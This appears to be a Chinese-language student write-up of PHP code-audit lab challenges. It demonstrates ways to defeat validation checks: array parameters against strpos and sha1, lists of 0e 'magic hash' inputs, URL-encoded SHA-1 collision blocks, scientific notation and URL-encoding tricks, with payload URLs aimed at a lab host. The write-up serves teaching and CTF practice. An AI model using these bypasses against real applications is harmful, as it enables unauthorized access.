目录
代码审计
第1题(字符串绕过)
分析:检测是否为字符串,是字符串,die;检测是否含有hehehehehahaha,有就die
解题:
Strpos()绕过,怎么绕?
数组绕过,我们输入
http://10.81.8.126/code/1.php?s[]=hehehehehahaha
flag{c2735cdb-67f3-479d-bf0f-b5a31b2c1a0a}
第2题(MD5绕过)
Sah1()函数,哈希
方法1
应该和MD5函数一样,因为传入的是字符串,找开头为0e的哈希
原理:php是弱类型语言,即便输入的是字符串,但是0e7889开头,就意味着变成了数字,也就是科学计数法1*10的7889次幂
Md5:
240610708:0e462097431906509019562988736854
QLTHNDT:0e405967825401955372549139051580
QNKCDZO:0e830400451993494058024219903391
PJNPDWY:0e291529052894702774557631701704
NWWKITQ:0e763082070976038347657360817689
NOOPCJF:0e818888003657176127862245791911
MMHUWUV:0e701732711630150438129209816536
MAUXXQC:0e478478466848439040434801845361
Sha1:
10932435112: 0e07766915004133176347055865026311692244
aaroZmOk: 0e66507019969427134894567494305185566735
aaK1STfY: 0e76658526655756207688271159624026011393
aaO8zKZF: 0e89257456677279068558073954252716165668
aa3OFF9m: 0e36977786278517984959260394024281014729
0e1290633704: 0e19985187802402577070739524195726831799
不行
?username=aaroZmOk&password=aaK1STfY
为什么不行?
因为是全等于===,加密后不再等于数字0,而是进行了字符串比较了,
上网搜索到碰撞出来的,sha1相同,但源码不同的两个值
a=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1
b=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1
方法2
数组绕过
和MD5函数一样,Sha1()不识别数组,返回NULL
测试
至于为什么password[1],因为有一个判断条件需要username!=password
第3题
我测试代码
我们仔细看我们的传参
如果我们这样写
为什么要写11次,除了索引的问题,还有就是 ,他的赋值是没有索引的赋值,这就必须我们循环11次,并且我们的第11次的索引为10,值必须为hacker!
但是为什么这样也可以?0&1&2&3&4&5&6&7&8&9&10=hacker!
其实你输入什么都行,只要有11个参数,因为索引是从0开始的
也就是说你也可以输入?1&1&1&1&1&1&1&1&1&1&10=hacker!
甚至?A&B&C&D&E&F&G&H&I&J&Q=hacker! 也行
老师说,只要循环11次,他的第11次索引就是10
答案:flag{c2735cdb-67f3-479d-bf0f-b5a31b2c1a0a}
第4题
分析:判断是否为数字,是就die;判断是否大于996,大于就有flag
方法1
数组跳过试试?
成功
我分析数组可以跳过第一个判断,第二个判断我们去自己尝试
空的也行
可行
方法2
弱类型强制转跳过
原理:字符串'997a'==>数字997
第5题(科学计数法)
分析:
匹配,必须含1个或多个有[A-Za-z0-9],长度不能小于8,大小不能大于8个9
解题:
尝试数组,不行,数组直接匹配不到,换个思路16进制,需要加0x,1亿就是0x575360400,不行。再换,弱类型转换,嗯~也不行
科学计数法1e8跳过,注意是1——e——8,不是艾欧l,是123的1
?check=1e8
1e8=1*10^8=1亿
flag{c2735cdb-67f3-479d-bf0f-b5a31b2c1a0a}
第6题(编码绕过)
分析:
对password进行编码绕过strpos(),编码绕过
进行url编码一次,因为后面有解码
尝试
先16进制编码,并添加%
61 64 6d 69 6e 31 32 33 31 32 33 31 32 33
%61%64%6d%69%6e%31%32%33%31%32%33%31%32%33
但是为什么编码两次可以,不编码也行